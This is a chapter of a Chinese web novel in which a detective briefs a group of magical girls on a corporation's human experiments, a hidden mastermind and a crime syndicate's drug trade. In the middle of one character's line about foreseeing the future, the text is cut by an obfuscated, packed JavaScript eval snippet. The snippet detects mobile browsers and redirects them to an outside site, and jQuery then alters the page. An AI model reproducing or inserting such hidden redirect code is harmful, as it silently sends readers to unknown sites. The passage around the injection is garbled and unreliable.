“亚贝琉湛,2009年上任Evo西部市区总部CEO一职。她毫无疑问是你们的目标之一,代号为行刑者的她拥有可以控制其余天使的手段。结合各位的口供记述,我推测该手段结合洗脑行为及涉及魔法的行为。十年前她还未主动隐居,但现在若是要找到这位神出鬼没的CEO只能通过一些非常规手段了。” 屏幕翻页。 “有乐千实,Evo的董事会秘书,也参与指导科技研发,是天使的教练,也是向我发布寻找六十七号任务的雇主。据线索而言其‘近期’获得了能说话的魔法,这方面我不多言。但就我个人调查行动的结果而言其近期行动轨迹正常,外表也没有出现异常变化。”启明星说着笑了笑,“她通过多层加密邮件与我交流,算是我那些麻烦的雇主之一吧,相比之下这位更致命些。” 有乐羽生看着屏幕上的照片若有所思。 屏幕翻页,这次一次性出现了四张照片,为它拍视角,多为黑白且较为模糊。 “天使,亚贝琉氏,这四位并非全部,且大部分具体能力不明,代号不明,性格特征不明。其所在部门确实作为特殊行动部门出现在Evo公司部门结构树上,但具体情况不对外公开,当然的事。” 照片上有两位拥有熟悉面孔。 “这位就是在高速上袭击各位的那一个,我从高速善后小队中的一位朋友那里得到了一些消息,现场只找到一具尸体,与其特征不相符。”激光笔在带着金属口罩的那张脸上画圆,“结合记述口供,显然这位命比较硬。” 犬山晓皱了皱眉。 “以及另一位情况更加特殊,且代号明确的存在,格雷伊。”激光笔点到黄色兜帽遮住的半张脸上,“可推测其为现团队中存在时间最早的天使,大概率是非催化成长个体,且因为种种原因拥有一定程度上的,自由。或许是因为有乐千实是她的导师,或许是因为博蒙-阿贝尔是她的血亲,或许是因为她的血液或能力有价值。总之她不仅能自由进出城市,还保留着自己的部分,家族产业。” 森山寺未央移开了视线。 屏幕翻页。 “亚贝琉西西路,各位应该还没有忘记她吧,我的一位听风能力尤其可靠的朋友为我带来了独家消息,内容为此人与其上司,代号为西弗尔特的天使个体的谈话内容。据我先前的推测和记述线索,受试者不该拥有离开所属范围的权限,但其内容向我揭露了这二人能离开西部市区范围内的理由。理由是肾脏移植,据记述,‘天使是存放器官的器皿’。我推测亚贝琉西西路的尸体回收行为是为了回收其中包含的特殊器官,以达成令其能短暂离开西部市区的行动,同时也让她存活了下来。” 屏幕翻回金属口罩。 “她就是西弗尔特,各位还会再看到她的。” 屏幕翻页。 “野兽,受试者人造魔物,代号为RP-H的生物个体中未被拣选成为天使的存在。值得在意的是,为何它能出现在西部市区?据记述所有天使都在9岁时完成拣选,并被带往西部市区进行特殊实验手术以得到特殊能力。但人造魔物数量远超天使数量数十倍,其实验在神脉医院区域的实验室完成,却能出现在这里。” 屏幕翻页,照片拍摄点是废弃马戏团内部,画面中,倒在地上的容器为打开状态。 “答案在于该容器,名字叫做封印之匣,听取名风格其技术应源自阿贝尔家族。通过技术和新线索我推测该容器的大型化版本可容纳血湖,这方面我不过多解读。但值得在意的点是,大型化的版本和存放人造魔物的版本并非出自一人之手。这位伊提研究人员显然知晓大型容器的制作方法,以此为前提,我推测血湖的存在在此并非是单一的。” 屏幕翻页,这次照片多了起来,新闻报表,摄影作品,个人访谈,应有尽有。 “最后就是这些社会中的协助者了,数量最多也最难处理,其中部分只追逐利益或者被胁迫,但也确实存在知情者,其中最有争议的我们放在后面谈论。” 屏幕翻页,有乐千实与亚贝琉湛再次出现在几位面前。启明星将剩余咖啡一次性饮尽,冰块残留在同样无色透明的圆筒玻璃杯中,冰雾带着水渍逃役。 “二位是真正意义上的幕后黑手,凶手,有最大责任的,有能力做到的,有权利控制的。其余那些最多不过是帮凶级别。”启明星说着向沙发后背靠去,左手撑住脑袋,“但是为什么呢。” “没有动机,对吗?”森山寺未雅问。 “正是如此,作为个体,她们缺少了自己的思想。”启明星点头,摸了摸自己的右眼眼罩,“如果各位是因为身份上的问题被她们两个追杀,那我还能理解。但行动的动机与此无关,无关以往行为,甚至无关各位‘魔法少女’这个身份。” “无关吗?”艾克里普讶异地问。 “我曾经认为是有关系的,但后续的一些线索,以及这条消息,推翻了我的论点。”启明星指着森山寺未雅给她的线索。 “早在你们出生之前,有人就知道你们会存在,请问各位中最年轻的出生年份是何时?” “应该是我,”有乐羽生举手说,“我是2009年出生的。” “如此,2009年湛才刚刚上任CEO,在此之前她没有权利干涉Evo的行动,有乐千实那时15岁。她们甚至不认识你们,也不可能一拍即合就合作达成如今的成就。”启明星看向屏幕中二人的照片,“所以比起你们的身份,你们未来,或者说现在会做的事情才是她们的动机。” “原来如此,但背后的不能是阿贝尔家族的其它成员吗?博蒙说她的家人预期寿命是500岁左右,当幕后黑手正合适吧?”森山寺未央提议。 “这是合理却不可能的。博蒙-阿贝尔已经两次送命,阿贝尔血脉如此稀有,断不可能因为还没个影子的事情就选择牺牲如此年轻的后代。更何况前代首领科勒斯特-阿贝尔的失踪多半与湛有关。”启明星明显提前准备好了答案。 “您是说,科勒斯特也成为了实验体。”犬山晓不可置信地说道。 “是的,”启明星想了想说,“湛也同样如此,根据线索,我推测她也接受了换血实验,但血液素材来源是科勒斯特-阿贝尔。关于科勒斯特我了解的就不多了,我至今不知道此人性别,科勒斯特对外的生理特征是模糊的,这可能是某种手术的后遗症或者先天的。” “…这到底是。”犬山晓不理解这个答案是如何得出的,但她选择相信启明星的判断,“可是科勒斯特怎么会沦落至此呢?” “这句话对博蒙也适用。”森山寺未央补充道。 “所以我推测,有第三个人存在,让我们设这个人为嫌疑人X。”启明星忽然笑起来说。 “哦哦!”森山寺未央激动道。 “X才是动机所在,X邀请并教唆湛和有乐千实加入计划,并架空了科勒斯特在Evo的势力,甚至完全掌控了阿贝尔多年来的布局和资源。X是真正在看着你们,试探你们,试图掌控你们的那个人。”启明星说。 “这样一来确实合理了许多,我们调查时间短,没有找到这么一个刻意多年藏匿自己的人也是有可能的。可是X是一个人吗?还是说一个组织?”森山寺未雅怀疑。 “是一个人,所以才能如此精准地隐藏起来并且目标始终如一。”启明星肯定地说,“如果我们根据时间发展去看的话,能找到更多X的踪迹。” 这样说着,她关上当前展示的内容打开另一个表格,密密麻麻的全是批注。 “这个是我的时间线草稿,来不及整理了,就让我直接口头解释一下吧。”启明星说着打开了自己的手记本。 “Evo的建造时期最早可以追溯到1955年,那时,出生另一城市的科勒斯特-阿贝尔带着大量我无法找到来源的物资来到这座城市,买下地皮成立了公司,主营化学和药物研究。但其资金来源模糊,与本地执法者的关系又没那么好,于是此人选择与本地的暴力集团合作,在筹集资金的同时回避了一些现在看来非常致命的法律问题。” 红色激光点在画布上旋转,标注日期重点。 “1959年是一个令人在意的时间点,由于当时税务局披露要求不严,我只能查到Evo公司的一些业务发生了不合逻辑的变动,但对后续又没有什么过大的影响。但现在可以确定的是,在这个时间点上,博蒙-阿贝尔被科勒斯特带到这座城市。” “1965年是神脉医院的前身,芦苇岸社区医院能追溯到的最早的信息时间,我找到了一些施工队的施工景象,请看。” 显示屏中的黑白照片上,两个面目模糊的人正在握手,后方是忙碌的工人和施工器具。 “这两个人并不重要,重点在于芦苇岸社区医院所在的位置并不在神脉医院所在的位置,根据背景中的植被景观,两者相差近三四公里。根据我的推测神脉医院附属孤儿院的建筑地址却是一直都没有变动过的。” 犬山晓想起禾草代目说她跑去医院求助才免于那场灾难。 “后续二十三年间,Evo实际上并没有什么迹象透露出其有在参与如今这种人体实验。但直到1988年,Evo的部分财务报告表示,她们的实验方向产生了变化。与此同时随着那一纸协议,本逐渐走向衰败的帮派以另一种方式造成影响力,一直到现在。” “2000年是重要的一年,神脉医院所在的位置,也就是各位找到的血湖所在的位置上方,所有的生命无一幸免。据各位带来的消息与我的朋友口述,无论是孤儿也好,医护人员也好,实验人员也好,一夜之间全都消失了。原因就来自这张线索上,鉴于细节我们无从询问无从论证,我们将结果作为线索使用就好。” 启明星点了点桌上来自伊提的留言。 “‘博蒙死去了’意味着她接受换血实验之后成为了全新的另一个人,这件事发生在2004年,我不深入。2009年亚贝琉湛上任成为了Evo的新CEO,她的上任是一个信号,有谁取代了这个企业之前的管理者,让本还藏在地下的部分实验内容逐渐扩大,干涉正常的社会秩序。” “2012年,市区的景观瞭望塔发生爆炸,有线索说明是Evo出资重建瞭望塔。” “2022年,是我能找到的最早她们开始明确针对各位进行行动的时间,但根据这条信息,这个时间还要往前推许多。” “根据这张线索,这位嫌疑人X的行动最早可以追溯到1978年。若是以此为基础推测,X从那时开始逐渐展开神脉医院地下的研究场所,并在2000年遭受重创,后续逐渐重建并将手延伸向这个城市里Evo的势力,最后达成现在的局面。”启明星分析道,“那这位如果不出意外,现在至少60岁左右,是个老人家了。” 启明星将大量重点信息从缭乱的草稿中提出,以近乎机器化的方式排序诵读。 “不能是接受了人体实验什么的所以长生不老吗?”有乐羽生问道。 “如果真的能如此的话她就不会选择招募这两个如此有主见的人了,不出意外的话,这会是一位行动不方便而且本身没有自保能力所以不能在你们面前露面的老人。” “…真是可怕的野心,她到底是想要什么呢。”艾克里普说道,并不是真的想了解。 “想要的其中一个是健康的身体,她建立新的血湖的原因八成是想要以此摆脱年迈的身躯吧,实验步骤我不了解,但曾经的尝试者爱丽丝小姐至今没有出来说我很好,我也不理解为何她能有自信自己会成功。”启明星说着,让灯光亮了起来。 “阿尔卡纳这个名字您有印象吗?”森山寺未央问道。 “关于这一点,”启明星愣了愣说,“Evo公司管理层以上以及部分实验室使用的人工智能系统,名字就叫阿尔卡纳,该人工智能在七年前才正式投入使用。” “人工智能?”艾克里普对如此新潮的名字感到陌生,“为什么偏偏要用这个名字?” “会是巧合吗?”犬山晓头疼地问。 “与艾克里普小姐的姓氏出现重合这一点确实值得怀疑,不过在我看来比起巧合更像是一种挑衅吧?”启明星说道。 “可这样就与X保持低调的初衷相违背了吧。”森山寺未雅若有所思。 “或许是因为不需要保持低调的时候快到了吧。”启明星说着,按动遥控笔。 室内逐渐恢复光亮,几人纷纷开始思索自己得到的新信息,休息时间到,六十七号为几人带来新的饮品。 “那伊提阿姨她,为什么会给小时候的我们留下那种线索呢?她为什么那么确信我们长大以后一定会遇到现在的事情,以至于不得不回头去看过去的痕迹呢?”森山寺未央对此耿耿于怀。 “这位神奇的研究人员拥有奇妙的人生。”启明星语气里有些羡慕,“在可疑的实验室工作,研究可疑的东西,结婚生子后再次面对可疑的一切,她在混沌之中追求遥远的东西,那未必指的是现在。或许二位未来会得到些新线索的。” “现在来看至少身份这方面我们已经解明了。”森山寺未雅翻动文件,“2000年之前的院长Matora是伊提阿姨的丈夫,与爱丽丝一同在2000年死去,2009年之前的院长M是伊提阿姨本人,她于2013年之后彻底失踪。” “现在来看,伊提阿姨的存在和行为都相当的可疑啊。她原来的那个实验室也是。”森山寺未雅回忆着说,“克拉拉小姐都觉得奇怪那应该就是真的很奇怪了,而且她出身生物化学但实验室的研发方向却是药理,跨太多专业了吧?” “…我有一个直觉!”森山寺未央说,“我觉得她可能并非是在研究一个学科的知识或者药物,她是在研究一个特定的东西,并且按需学习需要的相关知识。” “特定的东西?药物所针对的器官吗?挺符合她的理论的。”森山寺未雅若有所思。 “1978年之前暂且不论,之后的目标肯定与其子爱丽丝相关了。”启明星看了眼低头沉思的艾克里普,没再说什么。 “但是孤儿院里的孩子又说有见过爱丽丝姐姐。”有乐羽生说,“不过爱丽丝这个名字并不是那么罕见,或许就只是单纯的名字重复而已。” “要是能遇上就好了。”森山寺未央有些期待。 “我们找到的东西真的有用真是太好了!”犬山晓松了口气。 “虽然线索这么多,但各位要达成的最终目标其实很简单。”启明星鼓励说,“找出这三位主要嫌疑人的踪迹,使她们失去行动能力,处理残余势力,从那以后关于这些的所有东西逐渐消亡也只是时间问题了。” “…您说的对。”艾克里普回过神来了。 “这就对了!那么接下来是提问时间。”启明星喝了口咖啡。 “请问!”森山寺未央飞速举起了手,“X是以什么确定我们就是观察对象的呢?魔法少女稀有但我们并不是个例,为何独独要观察我们呢?” “首先不是你们,而是你们二位,以及有乐羽生小姐。这位黑发的小姐不在列表中,同时艾克里普被认为不需要观察。”启明星说,“而原因,我反而想问一下比我专业些的各位,有预知未来,或者回溯过去的魔法吗?” 在场的几人面面相觑。 “预知未来的魔法是有的,我就可以使用,但与您想象的情况不太一样。”森山寺未雅说,“未来有许多种可能性,而且这种可能性以人为单位成倍叠加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807985|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,‘提前预知到某种未来然后等着它’发生是不可行的。” “关于时间回溯的魔法是禁忌的,这个世界上暂时没有人能将时间回溯十年以上,我也做不到,而且时间回溯并不会有任何人类能保留记忆。”艾克里普解释道,“回溯一天相当于杀死魔法影响范围内的所有人一天的时间,并且必须要弥补,否则时间就无法向前。” “这样啊,没有平行时空这一说吗?”启明星继续若有所思地问道。 “玄幻小说?这个概念前几年好流行的。”森山寺未央忍不住说了。 “没有啦,平行时空里有没有魔法这个概念存在还不一定呢,如果要以魔法回溯时间的话,那就只能是当前这个世界了。”艾克里普摆了摆手,她并非对这个名词没有概念,平行时空不仅仅作为小说主题存在,也是许多哲学家的思想论点。 “我们的世界是唯一的呢。”有乐羽生有些高兴。 “…我本来是推测有着类似的魔法,然后X看到了‘使用血湖更新身体成功’的例子,尤其是从二位的身上看到了,所以才有了这样的做法。”启明星看向森山寺姐妹。 森山寺未雅一瞬间就想起来了自己在另一个世界上看到的另一个自己。 “未雅她,曾经看到过另一个世界的片段,在那个世界有许多事情不同。”艾克里普说,“但我推测那是一个类似环境的结界或魔法道具,里面存放的并不是另一个世界,而仅仅是记忆而已。” “可那如果不是另一个世界的话,为何我确实得到了些什么呢?”森山寺未雅忍不住追问了,“那又会是谁的记忆呢?” “我对于那个存在有着熟悉的感觉,但我确实不知道那是什么。”艾克里普歉疚地摇了摇头,“而那记忆属于谁,我也不清楚。” “不,我并不是在质疑你,抱歉。”森山寺未雅叹了口气,“为什么只有我能看到那个世界呢?” “真是神奇,根据线索,那大概就是伊提研究人员在线索中提到的留给学生的东西。”启明星歪了歪头,“在那之后您有再次尝试吗?” “其实是有过的,不过在信息方面没什么用。”森山寺未雅摇了摇头。 “我有问题!”有乐羽生举手,“我为什么也在被观察的列表中呢?” “我也不理解!虽然我想这么说,但我确实有所猜测。如果说其它二位是因为‘成为’魔法少女的原因或是什么东西而被观察的,那想必您也有着类似的特殊点。想想看,您成为魔法少女的时刻发生了什么?”启明星问道。 “这样想起来,确实是‘哗’的一下,我就觉得我能使用魔法了。”有乐羽生感到疑惑。 “那我又是为什么而没有成为被观察的目标呢?”犬山晓指着自己问。 “从她们的角度来看的话,那就是您本不应该存在,既然她们不因为你们是魔法少女而观察你们,那您即使是魔法少女也无法成为她们的观察目标。”启明星毫不留情地安慰说,“但反过来说您的存在是她们没预料到的,这样如何?” “是,是这样吗?”犬山晓不知道这里她内心有些受伤是不是正常的。 “这是好事啦,晓,开心点。”有乐羽生安慰说。 “老板,楼下有人诶。”六十七号不知何时跑到了窗边。 “说了别趴在窗边看,人是之前来过的吗?”启明星抬头问道。 “我不认识!”六十七号看着窗外说。 “那就别管,今天下午没有别人预约。”启明星摆了摆手,“刚才说到哪了?” “说到要找的那三个人的踪迹。”森山寺未雅说。 “好的,我看看。”启明星说着翻起了笔记本,“湛的行踪不难找,最近有消息称她在附近城市处理各种帮派事务,不在国外。各位如果不急的话可以等这阵子过去,就能在一些公共场合堵到她了。” “可就怕她也是这样想的,而且她能控制天使行动,能尽快解决更好。”森山寺未央说。 “出国还好说,为什么她一个CEO要解决帮派问题?”森山寺未雅问。 “这就涉及到早期科勒斯特的黑钱是从哪来的了。”启明星也不隐瞒,“我的一位可靠的朋友和我说,早期科勒斯特以贩卖毒品获得暴利,而且现在来看货源是血湖提取物的合成物,成本极低利润高的可怕,结合她能使唤那些非人生物,短期内对社会治安造成了重大威胁。” “…这可真是太糟糕了,简直就是恐怖片桥段。”有乐羽生也有想过魔法被用到不好的途径上会如何,但没想到早就有例子了。 “是的,当时的国防部应该也是这样想的才对,所以那时西部市区街头经常上演些现在只会出现在电影中的一些戏码,部分痕迹现在都没修好呢哈哈。阿贝尔家族本就是寿命悠长的家族,也该知道长期发展的重要性。就我一个朋友带来的消息,她们当时选择拉拢了一些本地的暴力集团,将其以功能性作为整合基础为阿贝尔家族牟利并解决各方面的事物。这些家族中部分存在也是各位需要解决的帮凶。” “而后来,尤其是1965年之后,我一个朋友说那时这些毒品的贩卖数量大幅度减少了,阿贝尔家族开始将目光放在其它灰色产业链上,企图以家族式的经营方式去管理整个地下王国,但很遗憾,这个系统在不同的地区发生了不同程度上严重的水土不服。她说后来科勒斯特退而求其次开始正式大面积召集‘同伴’,并组建了白夜社。” “原来白夜社的组成也有阿贝尔家族的参与啊。”有乐羽生若有所思。 “没错,据我可靠的朋友的消息,当时阿贝尔家族就以亚贝琉作为家族姓氏参与白夜社,提供特殊形式的高效多功能服务,以及对内安心。而最近的动乱之源就是因为白夜社里的几个家族首领联合起来准备将亚贝琉除名了。”启明星说。 “侦探侦探你的朋友好多啊。”森山寺未央崇拜地说。 “毕竟多个朋友多条路可是世间真理。”启明星短短的手指比出一个和平的手势。 “好荒谬的发展,创建者反而第一个被除名。”森山寺未雅笑了。 “谁说不是呢,现在亚贝琉家族的首领是湛,我与她不曾见面,但也不觉得她是个不在乎名声的人。”启明星说着,翻向记事本下一页,“不过就这一点我暂时持观望态度,各位感兴趣的话可以多关注一下这几天的每日新闻。” “这几天有好多新的甜品店和电影呢。”犬山晓表示自己有在关注。 “那些应该反而是掩盖舆论的娱乐新闻吧,每次发生些大事,娱乐新闻就变多了。”有乐羽生思索着说,“近期花边新闻储备应该有被大量消耗吧。” “确实很多。”森山寺未央翻了翻手机,“冰淇淋餐车?” “至于有乐千实的行踪就不太好找了,但我倾向于若是时机成熟那她会主动与各位对峙。毕竟在各位看来那些天使也并非是巨大到能带来恐惧的威胁。”启明星说。 “因为剩下的那一个年老体弱吗?”森山寺未央说。 “正是如此,不过也不要太小瞧现代科技哦?神脉医院专精心肺监护和神经调控及成像,Evo器械研发医疗方向为外科手术器械与生命体征追踪,实验设备方向为精准医学及神经反馈,以及AI。具体我就不了解了但老太太也能乘坐会爆炸的轮椅发动恐怖袭击的。”启明星提醒说。 “好吧,我们会注意的。”艾克里普郑重地点了点头。 “…现代科技已经发展成这样了吗?”犬山晓大为震撼。 “我觉得在多功能性和发展上限上以及效率方面还是魔法更胜一筹!”艾克里普非常坚持。 “魔法已经发展成这样了吗?”森山寺未央大为震撼。 “真想把你们两个现在的表情拍下来啊。”森山寺未雅说。 “您最近因为社会治安问题而忙碌的话,那是不是也有机会得知湛的线索呢?”有乐羽生期待地问道,“启明星侦探有那么多朋友好厉害呀!” “您的那些委托中如果有与她关联的部分,就让我们也帮帮忙吧。”犬山晓说着,就看见启明星的眼睛看了过来,清澈的眼里饱含真挚。 “实不相瞒,正如几位所言,我确实因着一些无法拒绝的高危委托而头疼呢。”启明星的语调抑扬顿挫了起来,“若是几位能出手帮忙的话那就再好不过啦。” “请说吧!”艾克里普点头说,“调查什么的我们还是能帮上忙的!我们已经有经验了。” “没错,让城市恢复和平正是我们魔法少女该做的事情!”有乐羽生激动地说。 “我们要参与□□斗争了吗?哦哦哦!”森山寺未央非常激动。 “哦哦哦!”森山寺未雅非常期待。 “对几位来说这大概确实和游戏无异,那就当是体验人生好了,一口气拥有五个如此能干的助手真是令我感动到想要开瓶好酒庆祝一下。”启明星抹了抹眼罩。 “咦?不需要我了吗?”六十七号指了指自己问道。 “你也得上班。”启明星头也不回地说,六十七号失望地离开了。 “具体来说是做什么呢?”艾克里普问道。 “总之先把这些线索还给你们,后续有问题欢迎随时来电。”启明星将文件交还给了几位,翻开文件夹下方的笔记本电脑。 “这是不久前的野兽袭击事件中,我托警探朋友帮我留下的现场照片,各位还有印象吧?”启明星将屏幕转向众人。 看不见头的奇异生物身影当然没有那么容易从脑子里消失。 “给我们看这个的意思是,这件事会重演吗?”森山寺未雅面色不好。 “也不算是重演,之前不过算个前奏,现在的才是正片。”启明星将界面转换到地图,“我的一位朋友告诉我,近期圣心物流有许多运输车从西部市区以及南部城市,运输不明罐装容器前往南流岛港口,我推测内容物当然不会是素食主义者所喜欢的东西。” “南流岛港口,”森山寺未央脸色一变,“那不就在东部市区旁边吗?!” 显然她丝毫不信任来自Evo的物流公司会在现在这种情况下运输些什么无害的东西,更别提南流岛港口与东部市区相隔不过十几分钟车程,而森山寺家就在东部市区靠东的位置。 南流岛位于该城市东南角,南流湾以南,是128号公路的东部最终出口,大面积为山区与绿地,仅有部分用于度假的住宅,常驻人口极少。大部分前往南流岛的人都是为了它南部的南流绿地公园,那里存在大量的鸟类,也是钓鱼爱好者喜欢的地方。 南流岛港口比起城市正东部的东流湾港口来说规模肉眼可见地小许多,船也少。 “南流港在哪个港口榜上都无名,支持船型和货种不多,工业园区更是落后得有些可怜了,但它依旧有着特殊的一点,除开游客拍照价值以外,它距离白夜社的总部建筑非常近。”启明星将电脑屏幕调转方向,地图放大到南流岛,代表高速到那条线终结于岛的中部。 “我之前在论坛上搜索过这个结社的信息,包括具体成员在内的所有内容都是保密的,大家全靠想象力补充设定。这个地址也是您的朋友告诉您的吗?”森山寺未雅问。 “我的朋友还告诉我,白夜社的会议只允许各个家族首领以及个别随行人员参与,会议期间总部连个扫地的人都不会有,而下一次会议时间就在最近了。”启明星点头。 “所以这是湛指使的吗?她想要报复那些背叛的人?”犬山晓猜测说。 “这样想很合理,不过我暂时对‘背叛’的原因和最终目的保持怀疑,所以即使那些运输车里面装的确实是用于销毁白夜社总部的武器,我也想要掌控其适时动向。”启明星想了想看向森山寺姐妹,“况且我不认为她在乎漏网之鱼对普通人的危害。” “这可不行!”森山寺未央急的一下子就站了起来。 “那些车已经全都抵达目的地了吗?”森山寺未雅也焦急了起来。 “我的朋友告诉我还有些在路上,这件事即使你们不问我也会拜托艾克里普小姐前去查看了,现在还不是紧要关头。除此之外还有另一则消息。”启明星摆了摆手安抚道。 “没错,那些魔物虽然说数量未知,但对于我们来说已经不算是威胁了,现在我们提前知道了消息更是不必担心其它人会因此陷入危险中了。”艾克里普也安抚说。 “其实这一则消息更为激动人心一些,希望大家到现在还能保持对新事件激情。”启明星笑着说,“是关于白夜社中的一位成员,天不渡真寅,也就是天不渡家族的家族首领。” “Matora,这个名字和神脉医院孤儿院院长听上去一样,并不是巧合吧。”森山寺未央和有乐羽生对这个名字印象深刻。 “答对了,并不是巧合,但二者并不是一个人,或者说三者。”启明星肯定道,“Matora是天不渡真寅的儿子,天不渡真鸟使用的假名。也就是说天不渡真鸟在2000年的事件中逝去,天不渡真鸟的作为人质兼研究人员,在实验室与伊提研究人员婚后得到的孩子名字就叫做爱丽丝。” 这段故事中出现的名字有很多,实际上就是一家三口加上其中丈夫的父亲,但现在唯一活着的大概也就只有这位丈夫年事已高的父亲了。 “哦,”森山寺未央迅速翻出了一些实验记录,“这些记录都是天不渡真鸟留下的,哇真是恶心。然后这些是后来伊提阿姨的,而这则记录在案的也是阿姨重新写过的,那这个笔迹会是谁的呢?” 记录的末尾页,暗红且说不上好看的字迹写着“出院快乐”。 “完全意义不明啊,就这里这些记录完全没有能说得上有谁出院了吧。”森山寺未央感到头疼。 “算是一个伏笔好了。”启明星没有太在意这一点。 53.★ ★ ★ ★ ★ ★ “重点在于这位天不渡真寅,各位年轻人可能没听过他的名字,但他确实是一位上世纪就远近闻名的大商人,招牌商品是毒品,其次是帮忙卖毒品的人。”启明星展示一张照片,满是沟壑的老人大笑着与照片没拍到的人握手。 “父子感情的问题放到一边,天不渡家族大概从1965年以来就一直为科勒斯特贩卖毒品,也同样是白夜社中最早存在的家族了。而问题在于现在亚贝琉家族若是消失,那他们家族的货源也就飞走了,那以此作为生存根基的天不渡家族消亡也就只是时间问题。” “我见过的其它黑色产业链组织都要更,”艾克里普想了想,“更多才多艺一点?而且亚贝琉家族哪怕真的被除名了,这个人也不会轻易失去货源供应吧,除非我们出手阻止。” “说得好!”启明星表扬道,“传统□□若是想要长期生存,那就必须多面开花,无论是哪种暴力组织都不得不面对现代化的规则大手,但白夜社偏偏就能与它扳手腕。” “是因为亚贝琉的手段吗?”犬山晓说完很快就意识到不对,“那亚贝琉就不会被开除了。” “是因为1988年签订的协议吧?”有乐羽生说。 “正是如此,这位小姐政治史记得很牢哦?”启明星笑了,“但除此之外,还有白夜社特殊的‘各司一职’形式。相信各位都知道天生目家族,毕竟常能看到她们的首领天生目池元以白夜社代表的身份公开讲话,而大多数人对于白夜社的了解也都来自这个高级成员出门会带着刀的家族。” 几人对天生目这个姓氏最大的印象来自天生目白。 “天生目家族为白夜社的一员,为其经营政治渗透产业,且具我朋友所言只插手这一种。而天不渡作为另一位我能确定的白夜社成员,具我非常可靠的朋友所言也是经营且只插手毒品贩卖这一产业链。”启明星说道。 “…居然是这样吗?”有乐羽生若有所思,“如果以这个结论为前提去看她们家的构成,那很多奇怪的地方都能得到解释了,比如将族人的职业发展打造为家族的特色商品这一行为。” “姓氏也是商标,有名气的同时归责起来也方便吧。”启明星点头。 “原来如此,家族的家族吗?这种形式也就只有亚贝琉这种拥有特殊手段的存在能保证控制所有家族生不出异心了。”森山寺未雅若有所思地点点头。 “正是如此,在我看来,白夜社至少还需要一个插手交通管制的家族和一个负责财务处理的家族,以及垃圾处理,但家族的数量是上不封顶的。”启明星惋惜地说,“在各位助我一臂之力之前我可没有推开最后那扇门的力气。” “可这就很奇怪了吧?现在亚贝琉家族被开除的情况下,白夜社很快就会开始混乱吧?然后那些人管理的东西也就都会乱起来。”犬山晓感到很奇怪。 “白夜社的内部制度是我的私人调查结果,但确实,只要知道这一结果的人就一定会有这个问题。所以我不得不怀疑亚贝琉家族的离开是否有隐情,而我最近委托激增的原因也是那些雇主对此产生怀疑和思考的结果。”启明星说到这里笑了下。 “这位,天不渡真寅是我们需要解决的目标吗?”艾克里普问道。 “是的,就在不久之前,一个暗网用户发出一条视频,并且迅速得到大面积传播,但现在已无线上资料可考,大概内容就是‘天不渡售卖的毒品有毒’什么的。”启明星摊了摊手。 “毒品有毒吗。”犬山晓觉得好笑。 “有毒指的是会使人变异,结果大概就是之前野兽袭击事件中那些异常存在的模样,视频展示了一个聚众吸毒中的一个年轻人如何在过量吸食毒品之后发生变异,并杀死画面内的人。”启明星尽量没有使用血腥词汇,但众人还是感觉到了不适。 “即使画面是合成的,但至少能确定合成者知道一些内情。”艾克里普思索道。 “不是合成的,”六十七号忽然就插入了话题,“那个确实是真的,那个毒品在稀释之前就是用于给我注射的药物。” “稀释之前,”犬山晓不可置信地说,“可你现在看上去挺正常的。” “因为我使用了艾克里普小姐给我的药,再加上我本身也是被挑选出来的试验体,如果没有的话我应该也会变成那个样子然后死掉吧。”六十七号语气里有些庆幸,也有不满,“我见过在我眼前发生变异的。” 犬山晓感到一阵恶心。 “那,发布视频的人是谁呢?”森山寺未央问道。 “这个就不清楚了,但视频拍摄的场所我的朋友找到了,在大学城。”启明星说着再次缩放地图,“现场的尸体已经处理完毕了,但因为一些原因后续调查没能继续。” 东流湾的北部,城市的右上角,以北流河为界线向南,就是大学城所在的位置。这所公立大学在本地人的口中评价一直不错,其中以商学院与医学院最为出名,科研能力上佳,校友组织力强,每年两次的大学足球赛表现倒是一般。在国际上排名不算顶尖但在本国内是数一数二的大学,校区美观程度倒是榜上有名。 “居然在大学城…”有乐羽生对本地的建筑和公共安全管理感到一阵无力。 “这些人在大学贩毒给大学生吗?”艾克里普面露不适地问,她知道一些地区毒品管控并不严格,成年人吸毒是司空见惯的事情,但对这种事情发生在自己所在的城市感到接受不能。 “有这个情况,但不算普遍,毒品在这里是违法的,但天不渡家族作为白夜社成员之一有着巨大的保护伞,且主营外销。”启明星说,“总之我希望各位帮助我去那里调查一下现场找出证物并保存,赶在有心之人动手销毁证据之前。” “可是我们调查了之后要怎么做呢?”艾克里普问。 “这个视频的放出是有人或势力想趁乱对天不渡下死手,但这一行动也连带其它本地帮派受到波及,大学城及港口附近现在一片混乱,且会变得更加混乱。”启明星说到这里摸了摸下巴,“就我朋友自己所说的话,此地区刑警属特警,特警属狗,要找刑警干活就只能找特别部门。” “哈哈哈!”有乐羽生笑了,“意思是这件事公安不管吗?” “…不,她们会管这件事,但是以一个诡异的角度开始并进行的,这是新消息,不过这刑事案件本身就不劳各位费心了。”启明星思索着说。 “这一则视频能对这个家族造成这么大影响的话,那我们不出手这个人也活不久了吧。”森山寺未雅笃定地说。 “武器的效果取决于动手的人是谁,下手有多重。天不渡真寅是个极端自我中心的商人,在他的儿子死后,他自己那条不剩几年好活的命依然在他眼里大于家族的整体价值。他会首先让自己活下去,其次是让自己衣食无忧地活下去,随后才会考虑其它人。”启明星几乎是肯定地说,她看向天不渡真寅照片的目光已经是看向死人的了,她笃定这个人一定会死。 “那我们要找这个人很难吧,他会在大学城附近吗?”森山寺未雅问。 “不出意外最近或一直以来白夜社所有首领都会身处这座Evo管控的城市中,而现在高速交通封闭,即使开放了监控看管也很严,出口只剩下海路,天不渡真寅想活命只能走港口,南流岛和东流湾二选一的话明显是北边这个方便点。”启明星说着展示了东流港的地图。 “今天早上我还能从一些消息中得知天不渡真寅还出现在了一些监控下,他还没走,或者说还没能走。” “东流港,那里每天光是货船都有一百多艘吧,我们到底是要怎么找才能从那一大片区域里找到一个人呢?”森山寺未雅觉得这很难做到。 